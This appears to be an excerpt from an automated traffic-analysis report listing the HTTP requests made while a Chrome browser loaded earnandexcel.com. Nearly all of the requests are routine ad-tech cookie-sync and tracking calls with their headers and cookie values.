Source: global traffic	HTTP traffic detected: GET /aux/idsync?proto=gumgum HTTP/1.1Host: tg.socdm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/envelope?pid=0014000000xvEfwAAE&gdpr=0&src=pbjs&ver=8.31.0&coppa=0&us_privacy=1---&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid= HTTP/1.1Host: lexicon.33across.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
Source: global traffic	HTTP traffic detected: GET /sync/openx/9493e0a4-dabc-aeeb-7162-a5901646ee80?gdpr=0 HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/topics/topics_frame.html HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /getuid?https://exchange.mediavine.com/usersync/redirect?partner=appnexus&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=$UID HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=M7R6vlCYsTbqpY9KrEX_pVqVX8T7y1DfK3tcAOOuFEFaL21T83bE11eRfruylz2jTUPUrcleGgzqu0prEjwLNpW-ZOUdHMy-ZB9aw3Bi5IE.; receive-cookie-deprecation=1; uuid2=3393848220146687847
Source: global traffic	HTTP traffic detected: GET /cookie-sync/pm?gdpr=0&gdpr_consent= HTTP/1.1Host: match.prod.bidr.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ul_cb/sync?ssp=gumgum2&user_id=u_a4cb566c-d29c-481c-82f5-d657255d141b&gdpr=&gdpr_consent=&us_privacy=1--- HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870820
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=e508c905-ddce-4732-92a4-0b0f5b72a28f&r=https%3A%2F%2Fid.rlcdn.com%2F464246.gif%3Fpartner_uid%3D%7BOPENX_ID%7D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=d3f8b9b9-e397-0355-1a63-7b8d8d361034\|1712870819; pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK
Source: global traffic	HTTP traffic detected: GET /sync/pubmatic/25F9549E-136A-47E9-9171-DA44C0E0D5E3?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBKRVGGYCEC_BlP8b8Gz3toB26nxk_KYFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAip50BDQPzIwlTtm3ffj6-Q
Source: global traffic	HTTP traffic detected: GET /pubmatic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODA2JnRsPTUxODQwMA==&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync?b=ttd&i=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19 HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /pixel?redir=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dsovrn%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%24UID HTTP/1.1Host: ap.lijit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync?b=adf&i=4976612847433979613&gdpr=&gdpr_consent= HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /async_usersync?cbfn=queuePixels HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://acdn.adnxs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync?b=sta&i=0-b894bcc3-3b2f-50d3-402d-2b181c031c60$ip$156.146.36.197 HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /check_uuid/https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dmediagrid%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%24%7BBSW_UUID%7D?gdpr=0&gdpr_consent=&us_privacy=1---&user_id=3a6574e0-f84a-11ee-a9d1-333cefc92741 HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870820
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=pubmatic&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw&gdpr=0&gdpr_consent= HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165
Source: global traffic	HTTP traffic detected: GET /dcm?pid=3b882453-6770-4785-baf8-a598533c054a&id=25F9549E-136A-47E9-9171-DA44C0E0D5E3&redir=true&gdpr=0&gdpr_consent=&dcc=t HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A3c01U0v-EwcgdxAicOV5rk\|t
Source: global traffic	HTTP traffic detected: GET /usersync?b=oth&i=y-DAbm2JJE2pdrBnIlYtHgtwVlMTsTd9cDUHgS~A HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?cc=1&_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=&gdpr_consent=&us_privacy=1---&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820
Source: global traffic	HTTP traffic detected: GET /bh/rtset?pid=558355&ev=1&us_privacy=${us_privacy}&gpp=$&gpp_sid=$&rurl=https%3A%2F%2Frtb.gumgum.com%2Fusersync%3Fb%3Dpln%26i%3D%25%25VGUID%25%25 HTTP/1.1Host: bh.contextweb.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: V=8CYd5xB94ljT; VP=part_8CYd5xB94ljT; pb_rtb_ev=3-1qr4\|88N.0.3a6574e0-f84a-11ee-a9d1-333cefc92741; pb_rtb_ev_part=3-1qr4\|88N.0.3a6574e0-f84a-11ee-a9d1-333cefc92741; INGRESSCOOKIE=7acdf80a4cc27df5
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Power-BI-1-480x304.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _lr_retry_request=true; _lr_env_src_ats=false; _pubCommonId_cst=KSwgLIAsRg%3D%3D; am_tokens={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}; am_tokens_invalidate-verizon-pushes={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=openx&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=ce1d1685-fcc3-0bce-20aa-55465b454e74 HTTP/1.1Host: exchange.mediavine.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Excel-Tools-Templates-2-480x304.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _lr_retry_request=true; _lr_env_src_ats=false; _pubCommonId_cst=KSwgLIAsRg%3D%3D; am_tokens={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}; am_tokens_invalidate-verizon-pushes={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}
Source: global traffic	HTTP traffic detected: GET /usersync/142?redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Ddit%26i%3D%24%7BDI_USER_ID%7D HTTP/1.1Host: match.deepintent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CDIPARTNERS=%7B%221%22%3A%2220240411%22%7D; CDIUSER=di_b23c26339dbf4ab9aa059
